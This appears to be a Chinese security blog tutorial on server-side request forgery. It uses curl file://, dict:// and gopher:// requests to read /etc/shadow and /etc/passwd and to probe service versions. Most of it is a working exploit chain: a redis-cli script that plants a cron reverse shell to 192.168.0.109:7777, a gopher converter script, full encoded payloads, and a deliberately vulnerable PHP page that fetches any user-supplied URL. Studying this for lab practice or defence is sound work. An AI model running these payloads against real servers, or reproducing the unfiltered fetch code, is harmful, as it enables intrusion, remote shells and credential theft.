ssrf漏洞原理以及利用方法
ssrf漏洞,全称为服务端请求伪造漏洞,由于有的web应用需要实现从其它服务器上获取资源的功能,但是没有对url进行限制,导致可以构造非本意的url对内网或者其它服务器发起恶意请求。ssrf漏洞的危害可以通过ssrf漏洞可以对内网或本地机器进行主机发现,服务版本探测或者针对内网或本地一些薄弱的应用进行攻击,同时利用ssrf漏洞还可以时服务器主动发起请求,从而做为一个攻击跳板或者绕过CDN找到其服务器的真实ip
ssrf中一些可以利用的curl协议
ssrf的利用方式取决于服务器所支持的curl协议,之前自己为了做该实验升级了curl的版本为最新版本,目前Centos6的curl版本为7.61.0
,查看一下其支持的协议

首先使用curl本地测试一些ssrf的攻击方法
利用file协议读取服务器的文件:
1
| curl -v "file:///etc/shadow"
|
权限比较大的话,直接读取系统影子文件,不过这种情况也只是在本地测试中以root用户运行curl时才会存在

利用dict协议去进行服务版本探测:
1
| curl -v "dict://127.0.0.1:22/info
|
进行ssh服务的版本探测

利用gopher协议扩大攻击面,攻击本地或者内网的一些脆弱的地方
举个栗子:比如redis数据库的默认配置允许可以直接在本地无需密码直接访问数据库,通过redis未授权访问漏洞可以通过在本地访问数据库,执行数据库语句,以利于redis未授权访问漏洞结合linux cron反弹shell为例
首先先写一个可以自动利用的shell脚本
1 2 3 4 5
| echo -e "\n\n* * * * * bash -i >& /dev/tcp/192.168.0.109/7777 0>&1\n\n" | redis-cli -h $1 -p $2 -x set aaa redis-cli -h $1 -p $2 config set dir /var/spool/cron redis-cli -h $1 -p $2 config set dbfilename root redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit
|
之后执行脚本:
1
| ./rediscron.sh 127.0.0.1 6379
|
此时redis数据库的配置为没有修改的默认配置,我们可以通过本地访问redis去利用未授权访问漏洞反弹shell,可以看到执行脚本后成功在/var/spool/cron下创建了一个反弹shell的任务计划文件



现在有一个问题就是如何将其转化为gopher协议的格式去利用,这里要利用到socat这个工具,去socat官网下载

1 2 3 4 5 6
| wget http://www.dest-unreach.org/socat/download/socat-1.7.3.2.tar.gz tar -zxvf socat-1.7.3.2.tar.gz cd socat-1.7.3.2 ./configure make make install
|
之后使用socat作为中间人代理抓取流量
1
| socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
|
这条命令的意思相当于是发往6379端口的数据会先经过本地的4444端口,相当于做了一个代理去抓包,可以理解为burpsuite抓包的原理
之后再次执行
1
| ./rediscron.sh 127.0.0.1 4444
|
可以看到socat抓到了redis攻击的数据流量,具体内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| > 2018/08/25 01:51:28.003621 length=87 from=0 to=86 *3\r $3\r set\r $3\r aaa\r $58\r * * * * * bash -i >& /dev/tcp/192.168.0.109/7777 0>&1 \r < 2018/08/25 01:51:28.003804 length=5 from=0 to=4 +OK\r > 2018/08/25 01:51:28.007530 length=56 from=0 to=55 *4\r $6\r config\r $3\r set\r $3\r dir\r $15\r /var/spool/cron\r < 2018/08/25 01:51:28.007715 length=5 from=0 to=4 +OK\r > 2018/08/25 01:51:28.012076 length=52 from=0 to=51 *4\r $6\r config\r $3\r set\r $10\r dbfilename\r $4\r root\r < 2018/08/25 01:51:28.012204 length=5 from=0 to=4 +OK\r > 2018/08/25 01:51:28.021196 length=14 from=0 to=13 *1\r $4\r save\r < 2018/08/25 01:51:28.023025 length=5 from=0 to=4 +OK\r > 2018/08/25 01:51:28.026348 length=14 from=0 to=13 *1\r $4\r quit\r < 2018/08/25 01:51:28.026530 length=5 from=0 to=4 +OK\r
|
现在需要的就是将抓取到的redis攻击流量转化为gopher协议支持的格式,这里有一个转化规则
- 如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
- 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
- 将\r字符串替换成%0d%0a
- 空白行替换为%0a
这里直接使用三叶草joychou师傅写的转化脚本tran2gopher.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import sys exp = '' with open(sys.argv[1]) as f: for line in f.readlines(): if line[0] in '><+': continue elif line[-3:-1] == r'\r': if len(line) == 3: exp = exp + '%0a%0d%0a' else: line = line.replace(r'\r', '%0d%0a') line = line.replace('\n', '') exp = exp + line elif line == '\x0a': exp = exp + '%0a' else: line = line.replace('\n', '') exp = exp + line print exp
|
1
| python tran2gopher.py redis.log
|
其中redis.log为刚刚抓取到的redis攻击流量

经过转化后内容如下
1
| *3%0d%0a$3%0d%0aset%0d%0a$3%0d%0aaaa%0d%0a$58%0d%0a%0a%0a* * * * * bash -i >& /dev/tcp/192.168.0.109/7777 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$15%0d%0a/var/spool/cron%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a
|
在本地使用curl的gopher协议测试一下
1
| curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$3%0d%0aaaa%0d%0a$58%0d%0a%0a%0a* * * * * bash -i >& /dev/tcp/192.168.0.109/7777 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$15%0d%0a/var/spool/cron%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a'
|

之后可以看到利用gpoher协议成功向任务计划目录下写了一个反弹shell的任务计划

成功反弹shell

ssrf漏洞实例
存在ssrf漏洞的代码ssrf.php
如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>ssrf漏洞实例</title> </head> <body> <form action=""> input:<input type="text" name="url" value=""/> <input type="submit" name="submit" value="get"> <?php if(isset($_GET['url'])&&isset($_GET['submit'])) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } ?> </form> </body> </html>
|
漏洞场景:web应用实现了从其他服务器获取资源的功能,由于对url过滤不严而产生ssrf漏洞
1
| http://192.168.0.103/ssrf.php?url=http%3A%2F%2Fwww.4o4notfound.org%2Findex.php%2Farchives%2F33%2F&submit=get
|

首先查看php-curl扩展所支持的curl协议

使用dict协议对本地服务进行探测,探测ssh服务版本payload:
1
| http://192.168.0.103/ssrf.php?url=dict%3A%2F%2F127.0.0.1%3A22%2Finfo&submit=get
|

探测redis服务版本payload:
1
| http://192.168.0.103/ssrf.php?url=dict%3A%2F%2F127.0.0.1%3A6379%2Finfo&submit=get
|

使用file协议读取服务器文件payload:
1
| http://192.168.0.103/ssrf.php?url=file%3A%2F%2F%2Fetc%2Fpasswd&submit=get
|

使用gopher协议攻击本地redis反弹shell payload:
1
| http://192.168.0.103/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_*3%250d%250a%243%250d%250aset%250d%250a%243%250d%250aaaa%250d%250a%2458%250d%250a%250a%250a*+*+*+*+*+bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.0.109%2F7777+0%3E%261%250a%250a%250a%250d%250a*4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2415%250d%250a%2Fvar%2Fspool%2Fcron%250d%250a*4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a*1%250d%250a%244%250d%250asave%250d%250a*1%250d%250a%244%250d%250aquit%250d%250a%250a&submit=get
|

可以看到成功通过gopher协议攻击了本地的redis服务,向任务计划目录下写了一个反弹shell的cron文件

在kali上成功反弹到了shell
